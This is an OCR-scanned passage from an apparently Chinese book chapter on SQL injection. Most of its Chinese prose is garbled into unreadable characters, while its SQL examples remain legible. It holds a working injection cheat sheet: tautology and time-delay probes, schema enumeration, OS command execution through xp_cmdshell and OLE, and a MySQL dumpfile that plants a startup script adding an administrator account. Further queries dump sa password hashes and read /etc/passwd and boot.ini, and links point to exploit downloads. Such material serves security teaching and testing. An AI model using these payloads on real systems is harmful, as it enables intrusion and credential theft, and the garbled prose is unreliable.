B EE: WA AR EIEE DK HEICKY)EE, ([ERATE 2 RSB ER SQL FE A
di. SR RETEAE SN H FIRTIR R ThREUS MBI A ER B o 2

RRE: LRI P #tE. SHEFFEMEBRMBINA, AN Web AR4 2% H &
FF. BTAM Web BRSSBEGAEN T HESRE—HERHFREBHEHE. &
O LUE S B s e 1R RESHUE , AR POST A&l R H &S,
BT CAZRAMI SR To 3K HUN POST U3 7R 82 . Web [3% FH B (K il AT DA R AR 4T (1 40 72
EATE T RPN E RN H D RPN HE. AN, SH BB RMREEH
AL, HWHEBM TFTEREMT LS EMEHE RN H.

BIRE: BRI, EATE LA B BRI Web ¥ 2, {H RN U988 AL 11 3R
f28 AR ZE 5 i 1) 31 7

MR RSEMII i H IR AR IR Web 3t . AL ol LU — e 3L A M i, XS DRE
WR/INBE BT RE SRR R T L. BB Web FRS22 LUEER AL Web i IR
[Fl22 [ D0H, fFFERCAF SSLAET:, ERE R [[ DNS i) LAE Web AR5/ IP b
HEARLAENT AL Web 4548 FEEBR OIS . W RE SRR, AT LLE KA
FAT IR T (LI Google) IR 3| R MR 3k £

EI8E: BAT D TEE AN SQL FHEAMAT BB & S RN, BT BEAME AT AR,
PRI AT SEBR 1% H 45 ?

BE. WREREL HTTP k5N MRS 2%EE, WATLCEBFEZ T Web B HEE4TRE
MR RIZR B E PN AT . MR Web IR LUEZEIH KRS i iEa8IR 1]
WSDL(Web RS R E ). BN ARATEE R, HamizHFrEEEN
Bom P A At R - T SR 2% o R R R B HAR i, U3 5 B e P 38 B
X T XFER, FTERMSIRSGEH LMEA ST K,






AEBIF

SQL A7

SQL A %
BT AR 58 4%
HE#E SQL A Kl
HAth-F & £ SQL HEA
BEUR

L ]




326 SQL:FATE S
10.1 %X

AEQERZEE, ST LMELFEBEM SQL HAKNSERE, HLEREHEAENR
A SQL WM B A4 B M SQL AL IEHEABE T T/EREE, B FitH % IEm
FIEZERES SQL 4],

Mok, AFERGE T —RFUH SQL FEAZ S B (cheat sheet), B 1I]HEH B RIS BEF: 2
BN, BATAEMNAURRIEERR SQL FARN TAERBREZAR. BITERE T —
TR R R R, CREWBIRFBRAEMNA SQL IEARFMNSHRENLKNE. BENMAT
—se AP AN AWEHREEMXPEREIEWHLE, ROEH FHMEH T Microsoft SQL
Server. Oracle Al MySQL, ‘EfIZEIREA TR H M#EZ). EEM “10.6 HAF& LK SQL
A" —WLRECFER M FE LR SQL FEAKER.

10.2 SQL Al

SQL B IF 4 /2 i IBM 75 20 140 70 AR F TR ki, EF] 1986 4 4 3% E B 5 br e
14 (American National Standards Institute, ANSDH{E{. SQL AT i A —Fh HHE A v A
BAEES, MLBEDIREEEH SQL &5, BEUNHAHERMIIGE. ATHEME—THEH
i1 SQL #riff, iZHFRHFHE. MRE LML SQL, WrrLiBkd A 1.

By L EEE Y B YR T SQL FRAELMESTXY B ORI M 5] BT E . B
16 B 45, FAMER ISO(Interational Organization for Standardization, [EFrkrAE{b 4205 X
#) SQL brifE, ZARHERT K B HEBRE L EHMEBT RN . LENBIMSRE RS FEHEX

SQL #if

SQL #rifj -4k %E %& SQL MR, XEiE Q)RR FERS B S H A PITHIRS.
VB0 PE B AT SQL vEA B 828 % Wt B i1 SQL 511 /& SELECT. UPDATE.CREATE ., UNION
SELECT #1 DELETE.

F T MIBReRE H R EIRM SQL HHAH & — & mE P HEABITHREMTA.
ZAt T4 MG T i) WHERE JTi6. B EAFII £ A& -1 7T {5 OR 1 AND iEH%F.

RERAEMER, BIEL1TEE, FNFAREIE HIEFE tblUsers . £ 10-1 FIH T

tblUsers FRI45H4 .
#F 10-1 SaAL ﬁ??{ﬁ'l_——tblUsars
ID Username Password Privilege
1 gary leedsutd1992 0
2 sarah Jasper 1
3 michael w00dheadl11 1
4 admin ) letmein 0
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1. SELECT &6}

SELECT i f1) X8 T M EOR BER R B0E B KR G RIR EIA N AR 7 . AR
T %) SQL iBAJ ¥R M| tblUsers &+ i BT 47 #38E

SELECT * FRCM tblUsers

BEMRMERY, EiENEIEERS SRETAEEE. WRAFTERRIFENS, TR
195 4 OB AR . B FORAIE) T £IR1E] thlUsers R+ BT A 1T [ username 51

SELECT username FROM thlUsers

FARARYE &0 MR P IR B 2 04T, o LU N WHERE FHRIIFER LR M &4F. #i, T

5 SQL &4y & M A username & admin H password 24 letmein HJ47:

}} .

SELECT * FROM tblUsers WHERE username = 'admin' AND password = 'letmein’

Microsoft SQL Server if 37 #1#1 /] SELECT & A \— ok & S EUEIE HoRr iR 4 R A 2

skkep, 76 FEMEITH, tblUsers R4 MFT A BHEH EHIF) T hackerTable £

SELECT * INTO hackerTable FROM tblUsers

2. UNION = & 5%
AT L@ ] UNION ZE ¥ 7k iEHEH AR £ A~ SELECT iEf)4 4. £ UNION iZ25 1

F745 SELECT i 1) 2 2503 [B1 48 [] 4 51| %5 ELxg B2 3 () SR 2 RO AR B . 72 P T,
SQL A #4553k A tblUsers A1 tblAdmins ) username 3 F1 password FIIi%EHe 3| —#2

SELECT username, password FROM tblUsers UNION SELECT username, password
FROM tblAdmins

UNION SELECT £ #8484 SELECT 5 A& FIHME I IR FIARFE. BHEAFE

A3 (8 4 BEL 1 B P L BOR [BI R $di, W {# Fd UNION ALL SELECT:

SELECT username, password FRCM tblUsers UNICON ALL SELECT username, password
FROM tblAdmins

3. INSERT i&4)
BEAECLIEE], INSERT EAJHFHEPBAKIE. oA BBHERAR 7 ik

INSERT i&4)3k eI E— H (1. T kH INSERT iB4J#%{4 5. john. smith 1 0 #HAZ| tblUsers
R '

INSERT INTO tblUsers VALUES (5, 'john','smith',0)

ABh, FBABIFP B QOHFIRTE 5 RPE—FIRBUFAR B XMHITERYERR

BR: WREMSHRE T B@Im, FNRMRTI), BABHESEBARRRG.
ST A 4R, INSERT AU AT LUBE — MRBETE R 4 2 J5 H i@ S 2R 7T i) H AR 3151K -

INSERT INTO tblUsers (id,username,password,priv) VALUES (5, 'john’,'smith',0)
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ABIPFIH T BTH HARS, PR DUA SRR R L A0 BRI B ERROF1 . B R GsHR 4
TZefk, INSERT i&ABUBARTE A A9 & IE BRI 51 o

4. UPDATE 54

UPDATE A TBREEERTCLHEENBIE. B TR UPDATE B4 FH
username fH % sarah f32R A priv 5 HEE K 0:

UPDATE tblUsers SET priv=0 WHERE username='sarah'

TREBER, FTATH UPDATE iE U RAL A —NAE S U 7% 3 J WF 44T ) WHERE F47.
WREWE T WHERE FH], BAFREITHEZIILN.

5. DELETE &%)

DELETE A TMNEFWERAT. 8 FHKEK DELETE BEA)SMEE tblUsers KA
username {E 4 admin 4T

DELETE FROM tblUsers WHERE username='admin'

—EBER, K UPDATE &) # N A8 & — N BE 26 0 I i B ¥R £447 () WHERE F47.
WREEE T WHERE T1), BAFETHSWME.

/M 10 P RE L FHRIFRIRE

A SQL AN IR I —F 7tk RIBA— A S TF 8 AR AT F 04 £ 57
#l3w, # SELECT # 4) 4 WHERE F & W iZ A OR I=1 & &) 2K X5 k% & 48 =1 64
BRE. HBE T 3K SQLIEY. F—REBEORERMEN, $_2hB=L0d
it SQL i A M#AT T 152

SELECT story FROM news WHERE id=19
SELECT story FROM news WHERE id=19 OR 1=1
SELECT story FROM news WHERE id=19 OR 1=2

PATH, F—RE S L news K P id1AH 19 49 story 5], BiBAKE L5
BEBIBET A story 5, BAH 1 AFT 1. P45 HBERS5E—L59ME
MER, BAH 1 RFTF2.

A EH R ERA, DR E B R A4S BG4 &0k R RE b, XA
A SQL iEASRM, BB AL, —AREENIA, EHMHR, PR SAENE
#1647 & UPDATE & DELETE i%4), AR L& k44 B R M Hoh.

WRE A H R SQL EAKFZH IS T ERN. EFRHAN, cbEEnloi
B—A e-mail JLIEAE A A FPATFH B HAEEA P 04
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UPDATE tblUsers SET password = 'letmein' WHERE emailaddress

='someuser@victim.com'
# R e-mail Wit FEIE N or [=1--F 5 %, SQL &4 e % A
UPDATE tblUsers SET password = 'letmein' WHERE emailaddress=' 'or l=1--'

W T HREMA WHERE I1=1, B K et NERERE T FAiLRe
password F .

At P R AR S RILE P A6k IR AH L, ARk R ALilide % P ol A0S
*HT.

AGE A AL L, ARERAEEMELZIAGEN, —FHT: “XoL
—#% UPDATE 3, DELETE #4) 42 ” #l4o, ©4% EAR0K 5T M 041 T i 2 34 5,
MRS, BERtent Bagsh s,

Paros Proxy A4k @ 3) SQL AL RZHLEN OR I1=1 ZH 454, Bz
e~ £ B A6 k.

PATIFAEZ I H AR T A 38!

6. DROP i&f]

DROP HRJH FHEREAREXN R, thing., WA, &3, LR FHE TSR A
5. B, BETRK SQL EAILMIER tblUsers %:

DROP TABLE tblUsers

7. CREATE TABLE i&f]

CREATE TABLE A THEAMBEERBR P RIRFNR, TERLEEMNES 1k
BIIERAHEAR ., HTRE SQL BHHLMB—MEEWF(tem A name)FiE, &%
shoppinglist:

CREATE TABLE shoppinglist(item int, name varchar (100))
Oracle SCHFAIE—IKRIHM A 5 — Kk RV E BBIERIEFT T
CREATE TABLE shoppinglist as select * from dba_users

8. ALTER TABLE i&fj

ALTER TABLE iG] T&HM. MERREXBERFHES . BTFRHN SQL BHLH
tblUsers REIN—31, 424 comments:

ALTER TABLE tblUsers ADD comments varchar (100)
T%| SQL &) &M comments F1:

ALTER TABLE tblUsers DROP COLUMN comments
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TR SQL iEM&H comments 7 I3RS AY B varchar(100)& 2% varchar(500):

ALTER TABLE tblUsers ALTER COLUMN comments wvarchar (500)

9. GROUP BY iEf]

BEE X R H—FIHAT SUM IXF IS R < A 8| GROUP BY 4], Flin, BiEtH
HBLEF %) Orders (& 10-2)_ EHAT— M E#IXK I+ Anthony Anteater IXNE % (1) S AL %%

#F* 10-2 Orders 3

ID Customer Product Cost
1 Gary Smith Scooter 7000

2 Arlthony' Anteater Porsche 911 65000
3 Simon Sez Citron C2 1500
4 Anthony Anteater Qil 10

5 Anthony Anteater Super Alarm 100

FHliEfI£: B304 2 M Anthony Anteater BRZ W EI KT 8, 2 J5 A Cost FIBAT —4> SUM Hfk:

SELECT customer, SUM{cost) FROM orders WHERE customer =

GROUF BY customer

10. ORDER BY F]

'Anthony Anteater'

ORDER BY FHAJH FXf SELECT A M 45 REEFHEFIBATHF, EHl— 3148 RECF
fE 3R EISH. RTLAG N ASC 2% DESC KB T4 45 R 5l 7 sl M FHE% . T %) SQL iEf)

M orders P IEFE cost FIFN product 5, FHRIE cost Fixt 4 B BEFT MR FEHEF:

SELECT cost,product FRCM orders ORDER BY DESC

1. IREILERE

AT SQL FEAN i, % 7 B R EREANZE WG, Eid R B IR SRR B 1T 8.
BELIEETFENAR, ANEPEREEITRIEEREHEEZER. £ 10-3 FEHRE T M tblUsers
FRAPEFEE 1 4TS S ITHIRM SQL iFH:.

# 103 PREERE

z_ &

'

Microsoft SQL Server EFEE AT

BT

SELECT TCOFP 1 * FROM tblUsers

SELECT TOP 1* FROM(SELECT TOP 5 * FROM thlusers ORDER
BY 1 ASC) RANDOMSTRING ORDER BY 1 DESC;
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(&EXR)

MySQL HER—AT:
SELECT * FROM tblUsers LIMIT 1,1
HEFF AT

SELECT * FROM tblUsers LIMIT 5,1

Oracle HFE—IT P username F1:

SELECT * FROM (SELECT ROWNUM r, username FROM tblUsers
ORDER BY 1) WHERE r=1;

SELECT * FROM tblUsers WHERE rownum=l;

S 1T F A username 1:

SELECT * FROM (SELECT ROWNUM r, username FROM tblUsers
ORDER BY 1} WHERE r=5;:

T HABIRE S, EEFE N AR Y.
10.3 SQL jEAMRiE K%

A5 A F A SQL AR i 2 # W SQL E MM B AR — M S % RATE %
AL TYRNEEREEF SR, ZENEME RN EFERE - SQLEAL
SR, FEREHN “10.6 HFE I SQLEAN" —NWEHH RSP RE L FEH%
T

10.3.1 RAIBB/ETE

FIFH SQL FEANGRFERT, BEB—TESFRAMNEEEBEFE. REBHATF, BTED
LRI RIS A S FMAE S T SR EEE . Bltn, 0k Microsoft i IIS AR5 2812
T—> ASPNET M [, WITRATRESE K T Microsoft SQL Server. [RIFEEEE, #F £ 7E Apache F 1
PHP W R TR SE A T MySQL AR 4588 . #cBRUIXFp 7 T HARBEAT 404, BT LU BT B
G 60 T MREGE SQL FEABM . Aid, WRATHEANK SQL REaKitRIKRE, WH
DAEEAE F B AR SRR B BB FE R & .

1. B EBE R IR IR MEET S

FRYE 5 B 95 45 18 5 19 2 RE 7= 25 I (8] SEIR 2 — P K IR 2 B IR A B 2 6 7 i R 104
B T BefiAT R BE BEAF & oh BT 7 A w0 I TR HE 3R F) R O ER A R L AR
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# 104 =% —4HEER

T B Bt 18 3T R
Microsoft SQL Server WAITFOR DELAY '0:0:10°
Oracle BEGIN DBMS_LOCK.SLEEP (5) ;END; -- (PL/SQL Injection only)

SELECT UTL_ INADDR.get host name('192.168.0.1')FROM dual

SELECT UTL_INADDR.get_host_address
{'foo.nowhere999%,.zom') FROM dual

SELECT UTL_HTTP.REQUEST ('http://www.oracle.com')FROM dual

MySQL BENCHMARK (1000000, MD5 ("HACK") )
SLEEP(10)

Postgres SQL 8.2 & SELECT pg_sleep (10)

ZJERIRE A

F—FP U I E R BT R AT AT B E AU SR FE A R 2% L FRE AT B A A [A]
KE. HTFARMENEN SQL KBFERE, MENEER AN RSERENES Bl
AT - Microsoft 7£ 2007 4= 9 A A T —RXFiXEMAICE, 7T LA A http:/technet.microsoft.
com/en-us/library/cc512676.aspx % F(E .

2. B3 SQL A EHBINIKNEETS

ANFIBENITE B SQL SEELZ [AIAFAE S FivE , T LU FH R 2 R 25 5K 75 B 1R B 303 7 PR 55 3%
R/ EERR - 6 IR A7 R VAL B AR R 95 S T A0 2 57 S M KK SQL k.
R 10-5 FIH T HLHT % ERFRFFIMBARKR, TUEREIMRIRNBIEETEE.

#10-5 SOLAERE

T & Ty | sxm | H— BIRATE
Microsoft SQL Server ‘string1' + 'string2' - sysobjects
Oracle 'string1’ || 'string2' - dual
concat(string1,string2)
MySQL concat('string1’, 'string2") # information schema.tables
Access "string1" & "string2" N/A msysobjects
Postgres SQL 'string]’ || ‘string2"’ - pg_user
Ingres 'string1' || "string2' - iitables
DB2 "stringl" + "string2" - sysibm. systables

Bltm, R REEEE FE G & Microsoft SQL Server 5 Oracle, WIAT LL22iRyE N F FliE 4],
RIEREA —FKIBWFIRERM B — &K IEQIT B Ih KA #)0T:

' AND 'DEAD' || 'BEEF' = 'DEADBEEF'--
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' AND 'DEAD' + 'BEEF' = 'DEADBEEF'--

3. BEiIT&HALT

FIA SQL IEARFR, S£FLHIE—XRIRE—FIM—T@w, it HTTP &iR#H 8k
E X FI PR . AT IXF RS, TR BTN FERRPANFRHR. R 10-6 L5 706
. #E Microsoft SQL Server. Oracle 1 MySQL H 52BLi% B ¥R F .

F 106 {FH SQL EHBIT
i - B ZITIE)FINEN

Microsoft BEGIN DECLARE @x wvarchar(8000) SET @x="' ' SELECT @x=@x+'/'+name
FROM sysobjects WHERE name>'a' ORDER BY name END; SELECT @x AS
DATA INTO foo

SQL

Tver . . .
Se -=- populates the @x variable with all "name" column values from sysobjects

table. Data from the @x variable is the stored in a table named foo under
a column named data

BEGIN DECLAER @x varchar (8000) SET @x='' SELECT @x=@x+'/'+name
FROM sysobjects WHERE name>'a' ORDER BY name; SELECT 1 WHERE 1 IN
(SELECT @x) END;

-- As above but displays results with the SQL server error message
SELECT name FROM sysobjects FOR XML RAW

-- returns the resultset as a single XML formatted string

Oracle SELECT sys.stragg(distinct username||';') FROM all_users;

== Retruns all usernames on a single line

SELECT xmltransform(sys_xmlagg(sys_xmlgen (username)),xmltype
("<?xml wversion="1.0"7?><xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.0rg/1999/XSL/Transform"><xsl:template>
</xsl:stylesheet>')).getstringval{) listagg

FROM all users;

-—-Returns all usernames on a single line

MySQL SELECT GROUP_CONCAT (user) FROM mysql.user;

-= returns a comma separated list of users

10.3.2 Microsoft SQL Server &8

Microsoft SQL Server & 4FIE % FHMBIEEFEZ—. WH¥ EF, Microsoft SQL
Server —H 2B ZEFHEL SQL i AMUFAAKFE2Z —, XFEERERFEN Microsoft ¥ & L7
HEREDRER AN BRI REAILKAE RS .

A5 R %3 Microsoft SQL Server i) SQL #E AB it # Wi SQL ERIIRHt—MES % .

1. MEREEREERIER
& 10-7 It 1 Al THREUOCEAC B {5 B 1 SQL 4.
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= 10-7 2B Microsoft SQL Server BE & {Z R

B & T i

e SELECT @@version;

ELinii e SELECT system user;

SELECT suser_sname{);

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE
spid =@Q@SPID;

yuﬂj;-g)h SELECT name FROM master..syslogins;

2 a0 F PR (I B2 A | SELECT is_srvolemenber ('sysadmin');
24 sysadmin, i&[A] 1;
WRAPARA

sysadmin £ fR. iE[A] 0)

HORERS B EHLZ SELECT @@servername;
‘SELECT SERVERQROPERTY ('productversion'),

SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition');
-— SQL Server 2005 only

2 10-8 % B T A T4 Microsoft SQL Server #={5 B i) SQL i&E4).

3 10-8 $2HI Microsoft SQL Server AY4EE

8 ® ' i
AT EEEFE SELECT DB _NAME () ;
Fi| M MR SELECT name FROM master..sysdatabases;
SELECT DB NAME (N) ;-- Where N is the database number
FlHE ETIEvE]z 0 e
SELECT name FROM sysobjects WHERE xtype='U';
SELECT name FROM sysobjects WHERE xtype='V';-- Views
FEHEERE P AR

SELECT name FROM master..sysobjects WHERE xtype='U';
SELECT name FROM master..sysocbjects WHERE xtype='V';
1) th 5] LETHARFET tblusers FHIFIE:
SELECT name FROM syscolumns WHERE
id=object_id{'tblUsers'});
admin HHEHED tblUsers FHIF &
SELECT name FROM admin..syscolumns WHERE

id=ocbject id{('admin..tblmembers');
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2. SQL k¥ Microsoft SQL Server
% 10-9 FIH T AT SQL B iF B —2edk 4 & ¥,

F10-9 SQL H:EEHN

B R &H i
TR K LEN O
%%E$%$‘PEHX?$ SUBSTRING(st:ing,offset,length)
EHBCABC) AR B By FR R AL SELECT char (0x41) + char(0x42) + char(0x43);
. . WAITFOR DELAY '0:0:9';
i 2 1+ 1] ST IR . .
--triggers 9 second time delay
. IF (1=1) SELECT 'A' ELSE SELECT 'B'
IF i&6)

—--returns 'A'

3. Microsoft SQL Server R FRIEF

RHTAH 2] LLAE Microsoft SQL Server & FHUT A FIAURIS A Bk . 24X,
KIH A TT 0 TVFE B THI MR . Rif, BT Microsoft 25 #1 4B S
WIALTAN T, R EA B HARET, X585 512 0 fe#8 <t id. BAB2E 3] 5580 Microsoft
SQL Server *- 5 I i Bl i 45 2 0 36 £ 9 %%, 1548 % www.secunia.com 5% www. securityfocus.com
FUWAT FIRIEIEE . £ 10-10 K @@version 25 B RTF IR A S WUl 31 T 800E B AR 4,
FPS . W& B F 5 Microsoft %R J& th 1 3 % L 3K B9 VE 4 045 AL http://support.
microsoft.com/kb/937137/en-us.

& 10-10_ Microsoft SQL Server k&S

L B F 8
9.00.3042 Microsoft SQL Server 2005 SP2
9.00.2047 Microsoft SQL Server 2005 SP1
9.00.1399 Microsoft SQL Server 2005
8.00.2039 Microsoft SQL Server 2000 SP4
8.00.818 Microsoft SQL Server 2000 SP3

w/Cumulative Patch MS03-031
8.00.760 Microsoft SQL Server 2000 SP3
8.00.532 Microsoft SQL Server 2000 SP2
8.00.384 Microsoft SQL Server 2000 SP1
8.00.194 Microsoft SQL Server 2000
7.00.1063 Microsoft SQL Server 7.0 SP4
7.00.961 Microsoft SQL Server 7.0 SP3
7.00.842 Microsoft SQL Server 7.0 SP2
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(#ER)
B X = BB 5 8
7.00.699 Microsoft SQL Server 7.0 SP1
7.00.623 Microsoft SQL Server 7.0
6.50.479 Microsoft SQL Server 6.5 SP5a Update
6.50.416 Microsoft SQL Server 6.5 SP5a
6.50.415 Microsoft SQL Server 6.5 SP5
6.50.281 Microsoft SQL Server 6.5 SP4
6.50.258 Microsoft SQL Server 6.5 SP3
6.50.240 Microsoft SQL Server 6.5 SP2
6.50.213 Microsoft SQL Server 6.5 SP1
6.50.201 Microsoft SQL Server 6.5 RTM
OPENROWSET EW ML

FeA B F L 1R £ Microsoft SQL N AR E A 43T A, HIEEHRARKA Kk
5. Ait, HRIKNEEBE S —MIET sa(RETFE 2K, 041 SQL RS 2R ERE I,
F#%| OPENROWSET ZE ¥ 220 # F§ 044 letmein [ sa W &R bt 127.0.0.1 A9 SQL

Server:

SELECT * FROM OPENROWSET ('SQLOLEDB',' 127.0.0.1';'sa';"'letmein’,
'SET FMTONLY OFF execute master..xp cmdshell "dir" ')--

AT LAME F —Fb 2 % B S Ay R O S MBS E N B SR R ahEt xt Ak sa kP Bt .
H—B ¥, ATLMEH SQL Server i) [P HuhlZ ¥k [ A Ha o 45 1) TP 5 IR R85 sa 4
Y SQL AR %528,

®’R:

www.portswigger.net F &4 Burp Suite # Burp Intruder #§ M Z PATIX AT L F o4 BRI 4, &
A& sh4tat sa A P IR 69 F 33k, T2 A 4 Preset List 487 & (payload set)(&L4—A~F A 2
4645 £)64 sniper K XA . BAx K3k SQL R F B A #% &, T1M numbers 45 Ris 5
Aty IP L H.

BRINH L F, SQL Server 2005 2:£F 7 OPENROWSET pR%{. IR H P & 3508 FEH
F#((DBO), MuaLLEFRFEHE:

EXEC sp configure 'show advanced option', 1
EXEC sp configure reconfigure
EXEC sp_configure 'Ad Hoc Distributed Queries', 1

EXEC sp_configure reconfigure

4. WHMIRERRE28: Microsoft SQL Server
A EA R E A BB RS R T B, AT A R . X EAHB
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B Bty B B R Internet S5 Bl SQL ¥ N\ i R B o £ 348 FE R 55 2%

1) &3t xp_cmdshell ITRFEH S

Microsoft SQL Server 7. 2000 H1 2005 #) & —A 44 xp_cmdshell M3 B IR, TLL
L VA A AT R BT BRIE R K@ 2. Wi SQL Server 2000 B2 B IMRAE, FHIEE
] DBO(tE#m, sa A /)W LL#AT F 31 SQL E4):

EXEC master.dbo.xp cmdshell 'os command'

SQL Server 2005 BRiAEHL T4 T xp_cmdshell A58, 440 8 %88 T %) SQL EH S
He:

EXEC sp_configure 'show advanced option', 1
EXEC sp_configure reconfigure

EXEC sp_configure 'xp cmdshell', 1

EXEC sp configure reconfigqure

QR xp_cmdshell FF RO LHMIBR T, H.d1 FERMIER, WaTLIERA T SQL EH A

EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll‘
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll’

2) xp_cmdshell B9 S
YE29 xp_cmdshell FAA#3 TR A, @7 LABAT T 51 SQL 54) 3R SEILAHE R R «

DECLARE @altshell INT
EXEC SP_OACREATE 'wscript.shell',@altshell OQUTPUT
EXEC SP_OAMETHOD @altshell, 'run',null, '$%systemroot$%\system32\cmd.exe /c'

FABFE Microsoft SQL Server 2005 3 ATIX MR shell, N3 % 4T F 51 SQL:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure

EXEC sp_configure 'Ole Automation Procedures', 1
EXEC sp configure reconfigure

3) MMBIEENS
Microsoft SQL Server 2000 {14 B3 A FFAETE sysxlogins R, T LUM{#H T3 SQL &R
BUEA:

SELECT user,password FROM master.dbo. sysxlogins
LRERNSRERK S THEAELREL.:

sa, 0x0100236AZ61CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784R911
D76BF4EB124550ACABDFD1457

ATLAE R AU AT EL 0x0100 FRRMIK F RS I F ox JSHMAT 4 M FH RS, &F
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RH) 8 NPT RIGA salte ABIH, salt FIER 236A261C. T 80 NF 1 Lhr LRBH A
e BI 40 DEHROSKRNEHEENGE, J5 40 MEVNRRKREFERAE.
FHEHER NG BRI

E12AB57BA22ATF44CE3B780E52098378B6585289
TR KD EAFRAI A
2EEE91C0784B911D76BF4EB124550ACABDEFD1 457

AT LU salt FAER —NEFHAN) O HINEE] Cain & Abel(www.oxid.it)yF, LR zhEHxt
M4 i SRR H B B .

4) Microsoft SQL Server 2005 M7
Microsoft SQL Server 2005 A RAE K/ NEABKM OLMFRE; A, KNEREN
WA R AT LA ). 3T 3R SQL B K& sa kA 487

SELECT password hash FROM sys.sql logins WHERE name='sa'

ETRASHERPEE 1 4 T EOx0100). — 8 FIF Y salt(4086CEB6)Fil —
A 40 FH KRS IR A A (LL D8277 FF3K):

0x01004086CEB6D8277477B39B7130D923F399C6FD3C6BD46A0365

5) XHi%/B
W14 INSERT #1 ADMINISTER BULK OPERATIONS 48], MW LIER A cH. T
5| SQL EA) L A3 c:\boot.ini HEH Z) localfile -

CREATE TABLE localfile(data wvarchar (8000));
BULK INSERT localfile FROM 'c:‘\boot.ini';

# TR AT LL#H SELECT % f M localfile 2 BRI 30#E . IR IE L R BB AR EE
WATRE S Z — X EW AR — TR S XMHERT, TEA5IHARETEIT RN, 7
LIf#Hl ALTER TABLE #f][A] localfile F#sN— B 3K ¥ IDENTITY %J. T3 SQL i&H)
LUIM—A4% id 9 IDENTITY 41, HAMGEN 1, SHEERPNE--TEIEN:

ALTER TABLE localfile ADD id INT IDENTITY{(1l,1);
BAZE AT LB I3 A id BUSRIRER R, Bl '

SELECT data FROM localfile WHERE id = 1;
SELECT data FROM localfile WHERE id
SELECT data FROM localfile WHERE id

10.3.3 MySQL &8

MySQL & --FhiftfT I FFIREHE ¥ &, % 5 PHP #1 Ruby on Rails M —& XM, &7
JEEXT MySQL #J SQL yE ABdi H 7 WA SQL B IRE— MRS %,

[
w M
PPN
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1. HMEBRERRESMER
& 10-11 5 T H FHREUCEES B (5 B 1 SQL iEA). & 10-12 51| T B T# 3¢ MySQL 5.0

Rz Ja A 5 B/ SQL iEH).
# 10-11 EEI MySQL REBHERER
B ® E i
[F7%. SELECT @@wversion;
MATH 2 SELECT user({);
SELECT system_user();
FIHE P SELECT user FROM mysqgl.user;
WHTE PR SELECT grantee, privilege_type, is_grantable
FROM information schema.user privileges;
Fz10-12 1REI MySQL 5.0 B Z RMAF KSR
¥ ® ' i

e S B HE FE SELECT database{);
?Uffnﬁﬁﬁ SELECT schema name FROM information_schema.schemata;
FlHE Bt 2 AT B b Y 2

UNION SELECT TABLE_NAME FROM information_schema.tables WHERE

TABLE_SCHEMA= database(};
B B PR R
SELECT table_schema, tabble_name FROM information schema.tables
WHERE table schema != 'information_ schema' AND table schema !='mysqgl’

IGEE ] Ut 24 AT 4 FE  th1Users 514 :

UNION SELECT column name FROM information_schema.columns
WHERE table name= 'tblUsers'# returns columns from tblUsers

5l admin ¥IEPET tblUsers THIF| 4

SELECT table schema, tabble name, column_ name FROM
information_schema.columns WHERE table schema !=

'information_schema' AND table_schema !='mysql'

2. SQL HEiXRY: MysSaL
& 10-13 FHH T HAT SQL HiE B — e H T H MR

339
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SQLEABE S

% 10-13  SQL WiE&EM

g2 # '
FRBREE LENGTH ()
IS R IR T SELECT SUBSTR(string, offset, length);
$ﬁ$('ABC’)7F%$§|%E{]ﬁ7T'\' SELECT char(65,66,67);
AR
fob A et (R BEIR BENCHMARK (1000000, MD5 ("HACK") ) ;
# Triggers a measurable time delay
SLEEP(10);
# Triggers a l0-second time delay
(MySQL Version 5 and later)
IF &H) SELECT if (1=1, 'A','B'};
-- returns 'A'

3. W MR EERR &£2%: MySQL

55 Microsoft SQL Server AR, MySQL J KA &M o F FHATBRAER A fr & BTN B8
2, PRSI AR REBAL . AN H— L LT R ARHRATR(ER)E
B 2 Hb SCA4 BT SR P B SR

1) BITRESS
T LE 7 H AR IR S 28 LA — N EBHUT MR R WA RIATRIER K@ . THIH
AT M MySQL BB AR LB AL M4

SELECT 'system commands' INTO dumpfile trojanpath;

BT RME L Windows A3) HRPEIE—MLAE M, ATFHRM— ALk x 8
FERAP x:

SELECT 'net user x x /add %26%26 net localgroup administrators x /add' into
dumpfile 'c:\\Document and Settings\\All Users\\Start Menu\\Programs
\\Startup\\attack.bat"';

{&R) UNION SELECT %#§ Trojan
4% A UNION SELECT 4|3 Trojan By AR, S/ R4ke) R @401 B AL B AR
4 SQL F ke PiA Bk, x&#%thl"lﬁ. m%ﬁ&éiﬁﬁfrﬁ#éﬁkﬁﬁﬂtmm
Trojan iE#A AT,

H i e iX — o) 2R, ﬁ%ﬁﬁ&&)\ﬁﬁ-ﬁz’ LR B f TR . Ao AND 1=0
TIAAE| B E 8,
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2) MMBBEAS

HE L5 K HH LR EBREVAESL T, ARAI [root user ]/ i #H 2 4% HIBLR),
BEAT UM mysqluser R EREH ' 020G & . EARE -MLLE SoBEH ) A O4 AT
B, AIHAT FHIEL:

SELECT concat (user,":",password) FROM mysgl.user;

$F 37T LI{#E H] Cain & Abel ¥ John the Ripper(www.openwall.com/john/) K85 ## L1 404 75 -

3) BRI EHIERE

af LU B EOEE 2] MySQL Bl 618 — 1 P LR BORAT ARG . FTELAN T 51
Web 3 £l T 8 — N T B R AT Z K 5

e Windows:www.scoobygang.org/HiDDenWarez/mexec.pl

o  Windows:www.0xdeadbeef.info/exploits/raptor_winudf.tgz

e J&T UNIX:www.0xdeadbeef.info/exploits/raptor udf.c

4) XK/
MySQL ] LOAD FILE R¥&ERI-—-MEHREXHRERNZ/RS. SEHEERF TEH
A file_priv B A GEVE I i% R 3. TAREYE UNIX EHL L M ete/passwd SCHE, 76 T il -

SELECT LOAD FILE('/etc/passwd');

WRBRAT MAGIC_QUOTES _GPC, MJa] LUl Hj—AN+ 7Nkl 77 AR F iz SU B2 LA
W o R85 | 5 4

SELECT LOAD FILE(0x2£6574632£706173737764);# Loads /etc/passwd

aJ LLf# F th Antonio “sdtan” Parata 4& 5 i) — ik 44 & SqlDumper 1 HIF-{&5B) SQL HiEX
AN . WL www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php | F £ 3
SqlDumper

10.3.4 Oracle &8
76 LB Pk A B8 mT B M O 7 SR KB R ] A B R & H Oracle $UE .
1. ¥R ER B 1S RINE

